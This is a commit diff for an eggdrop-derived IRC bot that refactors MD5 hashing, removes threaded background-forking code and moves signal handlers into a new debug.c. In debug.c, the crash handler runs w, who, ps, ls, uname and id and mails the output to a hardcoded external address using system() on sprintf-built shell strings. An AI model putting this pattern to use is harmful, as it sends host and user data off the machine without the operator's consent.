1
0
Эх сурвалжийг харах

* Added md5cmp(hash, string)
* Added md5(string)
* Moved signals to debug.c
* Moved debugging functions to debug.c
* Moved expmem() stuff to mem.c from main.c
* Eliminated bg.h, removed most of bg.c (it was threads stuff)
* homedir(), confdir(), and my_uname() now keep track of old results
* Moved backup_userfile to users.c
* Restructured main.c somewhat


svn: 578

Bryan Drewery 22 жил өмнө
parent
commit
0614c83c6d
18 өөрчлөгдсөн 606 нэмэгдсэн , 819 устгасан
  1. 10 7
      src/Makefile.in
  2. 2 10
      src/auth.c
  3. 2 186
      src/bg.c
  4. 0 18
      src/bg.h
  5. 3 5
      src/chanprog.c
  6. 0 2
      src/cmds.c
  7. 0 1
      src/config.c
  8. 14 0
      src/crypt.c
  9. 365 0
      src/debug.c
  10. 1 0
      src/eggdrop.h
  11. 165 548
      src/main.c
  12. 15 1
      src/mem.c
  13. 1 21
      src/misc.c
  14. 1 8
      src/mod/irc.mod/msgcmds.c
  15. 1 6
      src/mod/module.h
  16. 1 1
      src/modules.c
  17. 11 5
      src/proto.h
  18. 14 0
      src/users.c

+ 10 - 7
src/Makefile.in

@@ -14,8 +14,8 @@ CFLAGS = @CFLAGS@ -I.. -I$(top_srcdir) -I$(top_srcdir)/pack @DEFS@ $(CFLGS)
 CPPFLAGS = @CPPFLAGS@
 
 eggdrop_objs = auth.o bg.o botcmd.o botmsg.o botnet.o \
-chanprog.o cmds.o config.o crypt.o dcc.o dccutil.o dns.o flags.o \
-main.o mem.o misc.o misc_file.o modules.o net.o \
+chanprog.o cmds.o config.o crypt.o dcc.o dccutil.o debug.o \
+dns.o flags.o main.o mem.o misc.o misc_file.o modules.o net.o \
 rfc1459.o settings.o tcl.o tcldcc.o tclhash.o tclmisc.o \
 tcluser.o userent.o userrec.o users.o
 
@@ -104,8 +104,7 @@ auth.o: auth.c stringfix main.h ../config.h conf.h lang.h eggdrop.h flags.h prot
 bg.o: bg.c stringfix main.h ../config.h conf.h lang.h eggdrop.h flags.h proto.h \
  ../lush.h misc_file.h cmdt.h tclegg.h tclhash.h chan.h users.h \
  compat/compat.h compat/inet_aton.h compat/inet_ntop.h ../src/main.h compat/snprintf.h \
- compat/memset.h compat/memcpy.h compat/strcasecmp.h compat/strftime.h \
- bg.h
+ compat/memset.h compat/memcpy.h compat/strcasecmp.h compat/strftime.h
 botcmd.o: botcmd.c stringfix main.h ../config.h conf.h lang.h eggdrop.h flags.h \
  proto.h ../lush.h misc_file.h cmdt.h tclegg.h tclhash.h chan.h \
  users.h compat/compat.h compat/inet_aton.h compat/inet_ntop.h ../src/main.h \
@@ -130,7 +129,7 @@ cmds.o: cmds.c stringfix main.h ../config.h conf.h lang.h eggdrop.h flags.h prot
  ../lush.h misc_file.h cmdt.h tclegg.h tclhash.h chan.h users.h \
  compat/compat.h compat/inet_aton.h compat/inet_ntop.h ../src/main.h compat/snprintf.h \
  compat/memset.h compat/memcpy.h compat/strcasecmp.h compat/strftime.h \
- tandem.h modules.h mod/modvals.h help.h bg.h
+ tandem.h modules.h mod/modvals.h help.h 
 config.o: config.c stringfix main.h ../config.h conf.h lang.h eggdrop.h flags.h proto.h \
  ../lush.h misc_file.h cmdt.h chan.h users.h compat/compat.h compat/inet_aton.h \
  compat/inet_ntop.h ../src/main.h compat/snprintf.h  compat/memset.h \
@@ -149,6 +148,10 @@ dccutil.o: dccutil.c stringfix main.h ../config.h conf.h lang.h eggdrop.h flags.
  users.h compat/compat.h compat/inet_aton.h compat/inet_ntop.h ../src/main.h \
  compat/snprintf.h compat/memset.h compat/memcpy.h compat/strcasecmp.h \
  compat/strftime.h modules.h mod/modvals.h tandem.h
+debug.o: debug.c stringfix main.h ../config.h conf.h eggdrop.h \
+ proto.h ../lush.h misc_file.h compat/compat.h compat/inet_aton.h compat/inet_ntop.h \
+ compat/snprintf.h compat/memset.h compat/memcpy.h compat/strcasecmp.h \
+ compat/strftime.h
 dns.o: dns.c stringfix main.h ../config.h conf.h lang.h eggdrop.h flags.h proto.h \
  ../lush.h misc_file.h cmdt.h tclegg.h tclhash.h chan.h users.h \
  compat/compat.h compat/inet_aton.h compat/inet_ntop.h ../src/main.h compat/snprintf.h \
@@ -162,7 +165,7 @@ main.o: main.c stringfix main.h build.h ../config.h conf.h lang.h eggdrop.h flag
  ../lush.h misc_file.h cmdt.h tclegg.h tclhash.h chan.h users.h \
  compat/compat.h compat/inet_aton.h compat/inet_ntop.h ../src/main.h compat/snprintf.h \
  compat/memset.h compat/memcpy.h compat/strcasecmp.h compat/strftime.h \
- modules.h mod/modvals.h tandem.h bg.h 
+ modules.h mod/modvals.h tandem.h  
 match.o: match.c stringfix ./main.h
 mem.o: mem.c stringfix main.h ../config.h conf.h lang.h eggdrop.h flags.h proto.h \
  ../lush.h misc_file.h cmdt.h tclegg.h tclhash.h chan.h users.h \
@@ -173,7 +176,7 @@ misc.o: misc.c stringfix main.h ../config.h conf.h lang.h eggdrop.h flags.h prot
  ../lush.h misc_file.h cmdt.h tclegg.h tclhash.h chan.h users.h \
  compat/compat.h compat/inet_aton.h compat/inet_ntop.h ../src/main.h compat/snprintf.h \
  compat/memset.h compat/memcpy.h compat/strcasecmp.h compat/strftime.h \
- stat.h bg.h
+ stat.h 
 misc_file.o: misc_file.c stringfix main.h ../config.h conf.h lang.h eggdrop.h flags.h \
  proto.h ../lush.h misc_file.h cmdt.h tclegg.h tclhash.h chan.h \
  users.h compat/compat.h compat/inet_aton.h compat/inet_ntop.h ../src/main.h \

+ 2 - 10
src/auth.c

@@ -23,7 +23,6 @@
 
 
 #include "stat.h"
-#include "bg.h"
 
 extern struct userrec 		*userlist;
 extern struct dcc_t		*dcc;
@@ -85,9 +84,7 @@ void init_auth()
 #ifdef S_AUTH
 char *makehash(struct userrec *u, char *rand)
 {
-  MD5_CTX ctx;
-  unsigned char md5out[MD5_HASH_LENGTH + 1];
-  char md5string[MD5_HASH_LENGTH + 1], hash[256], *ret = NULL, *secpass = NULL;
+  char hash[256], *secpass = NULL;
   if (get_user(&USERENTRY_SECPASS, u)) {
     secpass = nmalloc(strlen(get_user(&USERENTRY_SECPASS, u)) + 1);
     strcpy(secpass, (char *) get_user(&USERENTRY_SECPASS, u));
@@ -96,13 +93,8 @@ char *makehash(struct userrec *u, char *rand)
   sprintf(hash, "%s%s%s", rand, (secpass && secpass[0]) ? secpass : "" , (authkey && authkey[0]) ? authkey : "");
   if (secpass)
     nfree(secpass);
-  MD5_Init(&ctx);
-  MD5_Update(&ctx, hash, strlen(hash));
-  MD5_Final(md5out, &ctx);
-  strncpyz(md5string, btoh(md5out, MD5_DIGEST_LENGTH), sizeof md5string);
 
-  ret = md5string;
-  return ret;
+  return md5(hash);
 }
 
 int new_auth(void)

+ 2 - 186
src/bg.c

@@ -7,87 +7,10 @@
 
 #include "main.h"
 #include <signal.h>
-#include "bg.h"
 
-#ifdef HAVE_TCL_THREADS
-#  define SUPPORT_THREADS
-#endif
 
 extern char	pid_file[], botnetnick[];
 
-#ifdef SUPPORT_THREADS
-
-/* When threads are started during eggdrop's init phase, we can't simply
- * fork() later on, because that only copies the VM space over and
- * doesn't actually duplicate the threads.
- *
- * To work around this, we fork() very early and let the parent process
- * wait in an event loop. As soon as the init phase is completed and we
- * would normally move to the background, the child process simply
- * messages it's parent that it may now quit. This allows us to control
- * the terminal long enough to, e.g. properly feed error messages to
- * cron scripts and let the user abort the loading process by hitting
- * CTRL+C.
- *
- *
- * [ Parent process                  ] [ Child process                   ]
- *
- *   main()
- *     ...
- *     bg_prepare_split()
- *       fork()                              - created -
- *       waiting in event loop.            continuing execution in main()
- *                                         ...
- *                                         completed init.
- *                                         bg_do_detach()
- *                                           message parent new PID file-
- *                                            name.
- *       receives new PID filename
- *         message.
- *                                           message parent to quit.
- *       receives quit message.            continues to main loop.
- *       writes PID to file.               ...
- *       exits.
- */
-
-/* Format of messages sent from the newly forked process to the
-   original process, connected to the terminal. */
-typedef struct {
-	enum {
-		BG_COMM_QUIT,		/* Quit original process. Write
-					   PID file, etc. i.e. detach.	 */
-		BG_COMM_ABORT,		/* Quit original process.	 */
-		BG_COMM_TRANSFERPF	/* Sending pid_file.		 */
-	} comm_type;
-	union {
-		struct {		/* Data for BG_COMM_TRANSFERPF.	 */
-			int	len;	/* Length of the file name.	 */
-		} transferpf;
-	} comm_data;
-} bg_comm_t;
-
-typedef enum {
-	BG_NONE = 0,			/* No forking has taken place
-					   yet.				 */
-	BG_SPLIT,			/* I'm the newly forked process. */
-	BG_PARENT			/* I'm the original process.	 */
-} bg_state_t;
-
-typedef struct {
-	int		comm_recv;	/* Receives messages from the
-					   child process.		 */
-	int		comm_send;	/* Sends messages to the parent
-					   process.			 */
-	bg_state_t	state;		/* Current state, see above
-					   enum descriptions.		 */
-	pid_t		child_pid;	/* PID of split process.	 */
-} bg_t;
-
-static bg_t	bg = { 0 };
-
-#endif /* SUPPORT_THREADS */
-
-
 /* Do everything we normally do after we have split off a new
  * process to the background. This includes writing a PID file
  * and informing the user of the split.
@@ -115,7 +38,7 @@ static void bg_do_detach(pid_t p)
 #ifdef HUB
   printf("Launched into the background  (pid: %d)\n\n", p);
 #else
-  printf("%s launched into the background  (pid: %d)\n\n", botnetnick, p);
+  printf("%s launched into the background  (pid: %d ppid: %d)\n\n", botnetnick, p, getpid());
 #endif
 #if HAVE_SETPGID
   setpgid(p, p);
@@ -123,121 +46,14 @@ static void bg_do_detach(pid_t p)
   exit(0);
 }
 
-void bg_prepare_split(void)
-{
-#ifdef SUPPORT_THREADS
-  /* Create a pipe between parent and split process, fork to create a
-     parent and a split process and wait for messages on the pipe. */
-  pid_t		p;
-  bg_comm_t	message;
-
-  {
-    int		comm_pair[2];
-
-    if (pipe(comm_pair) < 0)
-      fatal("CANNOT OPEN PIPE.", 0);
-
-    bg.comm_recv = comm_pair[0];
-    bg.comm_send = comm_pair[1];
-  }
-
-  p = fork();
-  if (p == -1)
-    fatal("CANNOT FORK PROCESS.", 0);
-  if (p == 0) {
-    bg.state = BG_SPLIT;
-    return;
-  } else {
-    bg.child_pid = p;
-    bg.state = BG_PARENT;
-  }
-
-  while (read(bg.comm_recv, &message, sizeof(message)) > 0) {
-    switch (message.comm_type) {
-    case BG_COMM_QUIT:
-      bg_do_detach(p);
-      break;
-    case BG_COMM_ABORT:
-      exit(1);
-      break;
-    case BG_COMM_TRANSFERPF:
-      /* Now transferring file from split process.
-       */
-      if (message.comm_data.transferpf.len >= 40)
-	message.comm_data.transferpf.len = 40 - 1;
-      /* Next message contains data. */
-      if (read(bg.comm_recv, pid_file, message.comm_data.transferpf.len) <= 0)
-	goto error;
-      pid_file[message.comm_data.transferpf.len] = 0;
-      break;
-    }
-  }
-
-error:
-  /* We only reach this point in case of an error.
-   */
-  fatal("COMMUNICATION THROUGH PIPE BROKE.", 0);
-#endif
-}
-
-#ifdef SUPPORT_THREADS
-/* Transfer contents of pid_file to parent process. This is necessary,
- * as the pid_file[] buffer has changed in this fork by now, but the
- * parent needs an up-to-date version.
- */
-static void bg_send_pidfile(void)
-{
-  bg_comm_t	message;
-
-  message.comm_type = BG_COMM_TRANSFERPF;
-  message.comm_data.transferpf.len = strlen(pid_file);
-
-  /* Send type message. */
-  if (write(bg.comm_send, &message, sizeof(message)) < 0)
-    goto error;
-  /* Send data. */
-  if (write(bg.comm_send, pid_file, message.comm_data.transferpf.len) < 0)
-    goto error;
-  return;
-error:
-  fatal("COMMUNICATION THROUGH PIPE BROKE.", 0);
-}
-#endif
-
-void bg_send_quit(bg_quit_t q)
-{
-#ifdef SUPPORT_THREADS
-  if (bg.state == BG_PARENT) {
-    kill(bg.child_pid, SIGKILL);
-  } else if (bg.state == BG_SPLIT) {
-    bg_comm_t	message;
-
-    if (q == BG_QUIT) {
-      bg_send_pidfile();
-      message.comm_type = BG_COMM_QUIT;
-    } else
-      message.comm_type = BG_COMM_ABORT;
-    /* Send message. */
-    if (write(bg.comm_send, &message, sizeof(message)) < 0)
-      fatal("COMMUNICATION THROUGH PIPE BROKE.", 0);
-  }
-#endif
-}
-
 void bg_do_split(void)
 {
-#ifdef SUPPORT_THREADS
-  /* Tell our parent process to go away now, as we don't need it
-     anymore. */
-  bg_send_quit(BG_QUIT);
-#else
   /* Split off a new process.
    */
-  int	xx = fork();
+  int xx = fork();
 
   if (xx == -1)
     fatal("CANNOT FORK PROCESS.", 0);
   if (xx != 0)
     bg_do_detach(xx);
-#endif
 }

+ 0 - 18
src/bg.h

@@ -1,18 +0,0 @@
-/*
- * bg.h
- *
- */
-
-#ifndef _EGG_BG_H
-#define _EGG_BG_H
-
-typedef enum {
-	BG_QUIT = 1,
-	BG_ABORT
-} bg_quit_t;
-
-void bg_prepare_split(void);
-void bg_send_quit(bg_quit_t q);
-void bg_do_split(void);
-
-#endif			/* _EGG_BG_H */

+ 3 - 5
src/chanprog.c

@@ -29,7 +29,7 @@ extern char		 ver[], botnetnick[], firewall[], myip[],
 extern time_t		 now, online_since;
 extern int		 backgrd, term_z, con_chan, cache_hit, cache_miss,
 			 firewallport, default_flags, conmask,
-			 protect_readonly, noshare,
+			 protect_readonly, noshare, localhub,
 #ifdef HUB
 			 my_port,
 #endif /* HUB */
@@ -313,6 +313,8 @@ void tell_verbose_status(int idx)
   dprintf(idx, "I am %s, running %s:  %d user%s (mem: %uk)\n",
 	  botnetnick, ver, i, i == 1 ? "" : "s",
           (int) (expected_memory() / 1024));
+  if (localhub)
+    dprintf(idx, "I am a localhub.\n");
   if (isupdatehub())
     dprintf(idx, "I am an update hub.\n");
 #endif /* HUB */
@@ -376,10 +378,6 @@ void tell_verbose_status(int idx)
 	  interp->result : (Tcl_Eval(interp, "info tclversion") == TCL_OK) ?
 	  interp->result : "*unknown*", MISC_TCLHVERSION,
 	  TCL_PATCH_LEVEL ? TCL_PATCH_LEVEL : "*unknown*");
-#if HAVE_TCL_THREADS
-  dprintf(idx, "Tcl is threaded\n");
-#endif /* HAVE_TCL_THREADS */
-	  
 }
 
 /* Show all internal state variables

+ 0 - 2
src/cmds.c

@@ -9,7 +9,6 @@
 #include "tandem.h"
 #include "modules.h"
 #include "help.h"
-#include "bg.h"
 #include <ctype.h>
 #include <stdlib.h>
 #include <pwd.h>
@@ -1828,7 +1827,6 @@ static void cmd_restart(struct userrec *u, int idx, char *par)
 
   fatal("Restarting...", 1);
   usleep(2000 * 500);
-  bg_send_quit(BG_ABORT);
   unlink(pid_file); //if this fails it is ok, cron will restart the bot, *hopefully*
   system(binname); //start new bot.
   exit(0);

+ 0 - 1
src/config.c

@@ -15,7 +15,6 @@
 #include <net/if.h>
 
 #include "stat.h"
-#include "bg.h"
 
 extern char			botnetnick[];
 extern struct userrec 		*userlist;

+ 14 - 0
src/crypt.c

@@ -259,3 +259,17 @@ void DecryptFile(char *infile, char *outfile)
   if (f2)
     fclose(f2);
 }
+
+
+char *md5(const char *string) 
+{
+  static char	  md5string[MD5_HASH_LENGTH + 1] = "";
+  unsigned char   md5out[MD5_HASH_LENGTH + 1] = "";
+  MD5_CTX ctx;
+
+  MD5_Init(&ctx);
+  MD5_Update(&ctx, string, strlen(string));
+  MD5_Final(md5out, &ctx);
+  strncpyz(md5string, btoh(md5out, MD5_DIGEST_LENGTH), sizeof(md5string));
+  return md5string;
+}

+ 365 - 0
src/debug.c

@@ -0,0 +1,365 @@
+/*
+ * debug.c -- handles:
+ *   signal handling
+ *   Context handling
+ *   debug funtions
+ *
+ */
+
+
+#include "main.h"
+#include <setjmp.h>
+#include <signal.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+
+extern int 		 sdebug, backgrd, do_restart;
+extern char		 tempdir[], origbotname[], ver[];
+extern time_t		 now, buildts;
+extern jmp_buf           alarmret;
+extern Tcl_Interp       *interp;
+
+
+void sdprintf EGG_VARARGS_DEF(char *, arg1)
+{
+  if (sdebug) {
+    char *format;
+    char s[2001];
+    va_list va;
+
+    format = EGG_VARARGS_START(char *, arg1, va);
+    egg_vsnprintf(s, 2000, format, va);
+    va_end(va);
+    if (!backgrd)
+      dprintf(DP_STDOUT, "[D:%d] %s\n", getpid(), s);
+    else
+      putlog(LOG_MISC, "*", "[D:%d] %s", getpid(), s);
+  }
+}
+
+
+#ifdef DEBUG_CONTEXT
+/* Context storage for fatal crashes */
+char    cx_file[16][30];
+char    cx_note[16][256];
+int     cx_line[16];
+int     cx_ptr = 0;
+
+static int      nested_debug = 0;
+
+void write_debug()
+{
+  int x;
+  char s[25], tmpout[150], buf[DIRMAX];
+  int y;
+
+  if (nested_debug) {
+    /* Yoicks, if we have this there's serious trouble!
+     * All of these are pretty reliable, so we'll try these.
+     *
+     * NOTE: dont try and display context-notes in here, it's
+     *       _not_ safe <cybah>
+     */
+    sprintf(buf, "%sDEBUG.DEBUG", tempdir);
+    x = creat(buf, 0600);
+    setsock(x, SOCK_NONSOCK);
+    if (x >= 0) {
+      strncpyz(s, ctime(&now), sizeof s);
+      dprintf(-x, STR("Debug (%s) written %s\n"), ver, s);
+      dprintf(-x, STR("Context: "));
+      cx_ptr = cx_ptr & 15;
+      for (y = ((cx_ptr + 1) & 15); y != cx_ptr; y = ((y + 1) & 15))
+        dprintf(-x, "%s/%d,\n         ", cx_file[y], cx_line[y]);
+      dprintf(-x, "%s/%d\n\n", cx_file[y], cx_line[y]);
+      killsock(x);
+      close(x);
+    }
+    {
+      /* Use this lame method because shell_exec() or mail() may have caused another segfault :o */
+      char buff[255];
+
+      egg_snprintf(buff, sizeof(buff), "cat << EOFF >> %sbleh\nDEBUG from: %s\n`date`\n`w`\n---\n`who`\n---\n`ls -al`\n---\n`ps ux`\n---\n`uname -a`\n---\n`id`\n---\n`cat %s`\nEOFF", tempdir, origbotname, buf);
+
+      system(buff);
+      egg_snprintf(buff, sizeof(buff), "cat %sbleh |mail wraith@shatow.net", tempdir);
+      system(buff);
+      unlink("bleh");
+    }
+    unlink(buf);
+    exit(1);                    /* Dont even try & tell people about, that may
+                                   have caused the fault last time. */
+  } else
+    nested_debug = 1;
+
+  egg_snprintf(tmpout, sizeof tmpout, "* Last 3 contexts: %s/%d [%s], %s/%d [%s], %s/%d [%s]",
+                                  cx_file[cx_ptr-2], cx_line[cx_ptr-2], cx_note[cx_ptr-2][0] ? cx_note[cx_ptr-2] : "",
+                                  cx_file[cx_ptr-1], cx_line[cx_ptr-1], cx_note[cx_ptr-1][0] ? cx_note[cx_ptr-1] : "",
+                                  cx_file[cx_ptr], cx_line[cx_ptr], cx_note[cx_ptr][0] ? cx_note[cx_ptr] : "");
+  putlog(LOG_MISC, "*", "%s", tmpout);
+  printf("%s\n", tmpout);
+  sprintf(buf, "%sDEBUG", tempdir);
+  x = creat(buf, 0600);
+  setsock(x, SOCK_NONSOCK);
+  if (x < 0) {
+    putlog(LOG_MISC, "*", "* Failed to write DEBUG");
+  } else {
+    char date[80];
+    strncpyz(s, ctime(&now), sizeof s);
+    dprintf(-x, "Debug (%s) written %s\n", ver, s);
+
+    egg_strftime(date, sizeof date, "%c %Z", gmtime(&buildts));
+    dprintf(-x, "Build: %s (%lu)\n", date, buildts);
+    /* info library */
+    dprintf(-x, "Tcl library: %s\n",
+            ((interp) && (Tcl_Eval(interp, "info library") == TCL_OK)) ?
+            interp->result : "*unknown*");
+
+    /* info tclversion/patchlevel */
+    dprintf(-x, "Tcl version: %s (header version %s)\n",
+            ((interp) && (Tcl_Eval(interp, "info patchlevel") == TCL_OK)) ?
+     interp->result : (Tcl_Eval(interp, "info tclversion") == TCL_OK) ?
+     interp->result : "*unknown*", TCL_PATCH_LEVEL ? TCL_PATCH_LEVEL :
+     "*unknown*");
+
+#ifdef CCFLAGS
+    dprintf(-x, "Compile flags: %s\n", CCFLAGS);
+#endif
+#ifdef LDFLAGS
+    dprintf(-x, "Link flags: %s\n", LDFLAGS);
+#endif
+#ifdef STRIPFLAGS
+    dprintf(-x, "Strip flags: %s\n", STRIPFLAGS);
+#endif
+    dprintf(-x, "Context: ");
+    cx_ptr = cx_ptr & 15;
+    for (y = ((cx_ptr + 1) & 15); y != cx_ptr; y = ((y + 1) & 15))
+      dprintf(-x, "%s/%d, [%s]\n         ", cx_file[y], cx_line[y],
+              (cx_note[y][0]) ? cx_note[y] : "");
+    dprintf(-x, "%s/%d [%s]\n\n", cx_file[cx_ptr], cx_line[cx_ptr],
+            (cx_note[cx_ptr][0]) ? cx_note[cx_ptr] : "");
+    tell_dcc(-x);
+    dprintf(-x, "\n");
+    debug_mem_to_dcc(-x);
+    killsock(x);
+    close(x);
+    {
+
+      char date[81], *w = NULL, *who = NULL, *ps = NULL, *uname = NULL, *id = NULL, *ls = NULL, *debug = NULL, *msg = NULL, buf2[DIRMAX];
+
+      egg_strftime(date, sizeof date, "%c %Z", gmtime(&now));
+      shell_exec("w", NULL, &w, NULL);
+      shell_exec("who", NULL, &who, NULL);
+      shell_exec("ps cux", NULL, &ps, NULL);
+      shell_exec("uname -a", NULL, &uname, NULL);
+      shell_exec("id", NULL, &id, NULL);
+      shell_exec("ls -al", NULL, &ls, NULL);
+      buf2[0] = 0;
+      sprintf(buf2, "cat %s", buf);
+      shell_exec(buf2, NULL, &debug, NULL);
+
+      msg = nmalloc(strlen(date) + strlen(id) + strlen(uname) + strlen(w) + strlen(who) + strlen(ps) + strlen(ls) + strlen(debug) + 50);
+
+      msg[0] = 0;
+      sprintf(msg, "%s\n%s\n%s\n\n%s\n%s\n\n%s\n\n-----%s-----\n\n\n\n%s", date, id, uname, w, who, ps, ls, debug);
+      email("Debug output", msg, EMAIL_TEAM);
+      nfree(msg);
+    }
+    unlink(buf);
+    putlog(LOG_MISC, "*", "* Emailed DEBUG to development team...");
+  }
+}
+#endif
+
+
+
+static void got_bus(int z)
+{
+#ifdef DEBUG_CONTEXT
+  write_debug();
+#endif
+  fatal(STR("BUS ERROR -- CRASHING!"), 1);
+#ifdef SA_RESETHAND
+  kill(getpid(), SIGBUS);
+#else
+  exit(1);
+#endif
+}
+
+static void got_segv(int z)
+{
+#ifdef DEBUG_CONTEXT
+  write_debug();
+#endif
+  fatal(STR("SEGMENT VIOLATION -- CRASHING!"), 1);
+#ifdef SA_RESETHAND
+  kill(getpid(), SIGSEGV);
+#else
+  exit(1);
+#endif
+}
+
+static void got_fpe(int z)
+{
+#ifdef DEBUG_CONTEXT
+  write_debug();
+#endif
+  fatal(STR("FLOATING POINT ERROR -- CRASHING!"), 0);
+}
+
+static void got_term(int z)
+{
+#ifdef HUB
+  write_userfile(-1);
+#endif
+  putlog(LOG_MISC, "*", STR("RECEIVED TERMINATE SIGNAL (IGNORING)"));
+}
+
+static void got_abort(int z)
+{
+#ifdef DEBUG_CONTEXT
+  write_debug();
+#endif
+  fatal(STR("GOT SIGABRT -- CRASHING!"), 1);
+#ifdef SA_RESETHAND
+  kill(getpid(), SIGSEGV);
+#else
+  exit(1);
+#endif
+}
+
+#ifdef S_HIJACKCHECK
+static void got_cont(int z)
+{
+  detected(DETECT_SIGCONT, STR("POSSIBLE HIJACK DETECTED"));
+}
+#endif
+
+static void got_quit(int z)
+{
+  putlog(LOG_MISC, "*", STR("RECEIVED QUIT SIGNAL (IGNORING)"));
+  return;
+}
+
+static void got_hup(int z)
+{
+#ifdef HUB
+  write_userfile(-1);
+#endif
+  putlog(LOG_MISC, "*", STR("Received HUP signal: rehashing..."));
+  do_restart = -2;
+  return;
+}
+
+/* A call to resolver (gethostbyname, etc) timed out
+ */
+static void got_alarm(int z)
+{
+  longjmp(alarmret, 1);
+
+  /* -Never reached- */
+}
+
+/* Got ILL signal -- log context and continue
+ */
+static void got_ill(int z)
+{
+#ifdef DEBUG_CONTEXT
+  putlog(LOG_MISC, "*", STR("* Context: %s/%d [%s]"), cx_file[cx_ptr], cx_line[cx_ptr],
+                         (cx_note[cx_ptr][0]) ? cx_note[cx_ptr] : "");
+#endif
+}
+
+
+void init_signals() 
+{
+  struct sigaction sv;
+
+  /* Set up error traps: */
+  sv.sa_handler = got_bus;
+  sigemptyset(&sv.sa_mask);
+#ifdef SA_RESETHAND
+  sv.sa_flags = SA_RESETHAND;
+#else
+  sv.sa_flags = 0;
+#endif
+  sigaction(SIGBUS, &sv, NULL);
+  sv.sa_handler = got_segv;
+  sigaction(SIGSEGV, &sv, NULL);
+#ifdef SA_RESETHAND
+  sv.sa_flags = 0;
+#endif
+  sv.sa_handler = got_fpe;
+  sigaction(SIGFPE, &sv, NULL);
+  sv.sa_handler = got_term;
+  sigaction(SIGTERM, &sv, NULL);
+#ifdef S_HIJACKCHECK
+  sv.sa_handler = got_cont;
+  sigaction(SIGCONT, &sv, NULL);
+#endif
+  sv.sa_handler = got_abort;
+  sigaction(SIGABRT, &sv, NULL);
+  sv.sa_handler = got_hup;
+  sigaction(SIGHUP, &sv, NULL);
+  sv.sa_handler = got_quit;
+  sigaction(SIGQUIT, &sv, NULL);
+  sv.sa_handler = SIG_IGN;
+  sigaction(SIGPIPE, &sv, NULL);
+  sv.sa_handler = got_ill;
+  sigaction(SIGILL, &sv, NULL);
+  sv.sa_handler = got_alarm;
+  sigaction(SIGALRM, &sv, NULL);
+}
+
+#ifdef DEBUG_CONTEXT
+/* Context */
+void eggContext(const char *file, int line, const char *module)
+{
+  char x[31], *p;
+
+  p = strrchr(file, '/');
+  if (!module) {
+    strncpyz(x, p ? p + 1 : file, sizeof x);
+  } else
+    egg_snprintf(x, 31, "%s:%s", module, p ? p + 1 : file);
+  cx_ptr = ((cx_ptr + 1) & 15);
+  strcpy(cx_file[cx_ptr], x);
+  cx_line[cx_ptr] = line;
+  cx_note[cx_ptr][0] = 0;
+}
+
+/* Called from the ContextNote macro.
+ */
+void eggContextNote(const char *file, int line, const char *module,
+                    const char *note)
+{
+  char x[31], *p;
+
+  p = strrchr(file, '/');
+  if (!module) {
+    strncpyz(x, p ? p + 1 : file, sizeof x);
+  } else
+    egg_snprintf(x, 31, "%s:%s", module, p ? p + 1 : file);
+  cx_ptr = ((cx_ptr + 1) & 15);
+  strcpy(cx_file[cx_ptr], x);
+  cx_line[cx_ptr] = line;
+  strncpyz(cx_note[cx_ptr], note, sizeof cx_note[cx_ptr]);
+}
+#endif
+
+#ifdef DEBUG_ASSERT
+/* Called from the Assert macro.
+ */
+void eggAssert(const char *file, int line, const char *module)
+{
+  if (!module)
+    putlog(LOG_MISC, "*", STR("* In file %s, line %u"), file, line);
+  else
+    putlog(LOG_MISC, "*", STR("* In file %s:%s, line %u"), module, file, line);
+#ifdef DEBUG_CONTEXT
+  write_debug();
+#endif /* DEBUG_CONTEXT */
+  fatal(STR("ASSERT FAILED -- CRASHING!"), 1);
+}
+#endif /* DEBUG_ASSERT */
+

+ 1 - 0
src/eggdrop.h

@@ -317,6 +317,7 @@ struct userrec;
 
 #define SHA_HASH_LENGTH (SHA_DIGEST_LENGTH * 2)
 #define MD5_HASH_LENGTH (MD5_DIGEST_LENGTH * 2)
+#define md5cmp(hash, string)		strcmp(hash, md5(string))
 
 struct auth_t {
   struct userrec *user;

+ 165 - 548
src/main.c

@@ -1,7 +1,6 @@
 /*
  * main.c -- handles:
  *   core event handling
- *   signal handling
  *   command line arguments
  *   context and assert debugging
  *
@@ -10,29 +9,26 @@
 #include "main.h"
 #include "build.h"
 #include <libgen.h>
-#include <fcntl.h>
 #include <time.h>
 #include <errno.h>
-#include <signal.h>
 #include <netdb.h>
-#include <setjmp.h>
 #include <unistd.h>
 #include <sys/utsname.h>
 
 #ifdef STOP_UAC				/* osf/1 complains a lot */
-#include <sys/sysinfo.h>
-#define UAC_NOPRINT    0x00000001	/* Don't report unaligned fixups */
-#endif
+# include <sys/sysinfo.h>
+# define UAC_NOPRINT    0x00000001	/* Don't report unaligned fixups */
+#endif /* STOP_UAC */
 /* Some systems have a working sys/wait.h even though configure will
  * decide it's not bsd compatable.  Oh well.
  */
 #include <sys/file.h>
 #include <sys/stat.h>
+#include <sys/types.h>
 #ifdef S_ANTITRACE
 #include <sys/ptrace.h>
 #include <sys/wait.h>
 #endif /* S_ANTITRACE */
-#include <sys/types.h>
 #include <sys/resource.h>
 #include <dirent.h>
 #include <pwd.h>
@@ -40,7 +36,6 @@
 #include "chan.h"
 #include "modules.h"
 #include "tandem.h"
-#include "bg.h"
 
 #ifdef CYGWIN_HACKS
 #include <windows.h>
@@ -59,24 +54,19 @@ int hub = 0;
 int leaf = 1;
 #endif
 
-int localhub = 1; //we set this to 0 if we have -c, later.
 
 extern char		 origbotname[], userfile[], botnetnick[], packname[],
                          shellhash[], myip6[], myip[], hostname[],
                          hostname6[], natip[];
 extern int		 dcc_total, conmask, cache_hit, cache_miss,
-			 fork_interval, 
-                         local_fork_interval;
+			 fork_interval, optind, local_fork_interval;
 extern struct dcc_t	*dcc;
 extern struct userrec	*userlist;
 extern struct chanset_t	*chanset;
 extern Tcl_Interp	*interp;
 extern tcl_timer_t	*timer,
 			*utimer;
-extern jmp_buf		 alarmret;
 
-int 	role;
-int 	loading = 0;
 
 const time_t 	buildts = CVSBUILD;		/* build timestamp (UTC) */
 const char	egg_version[1024] = "1.0.15";
@@ -85,13 +75,17 @@ time_t 	lastfork=0;
 
 #ifdef HUB
 int 	my_port;
-#endif
+#endif /* HUB */
 
+int 	localhub = 1;   	/* we set this to 0 if we have -c, later. */
+int 	role;
+int 	loading = 0;
 char	notify_new[121] = "";	/* Person to send a note to for new users */
 int	default_flags = 0;	/* Default user flags and */
 int	default_uflags = 0;	/* Default userdefinied flags for people
 				   who say 'hello' or for .adduser */
 int	backgrd = 1;		/* Run in the background? */
+int     sdebug = 0;		/* enable debug output? */
 int	con_chan = 0;		/* Foreground: constantly display channel
 				   stats? */
 uid_t   myuid;
@@ -103,7 +97,6 @@ int 	updating = 0; 		/* this is set when the binary is called from itself. */
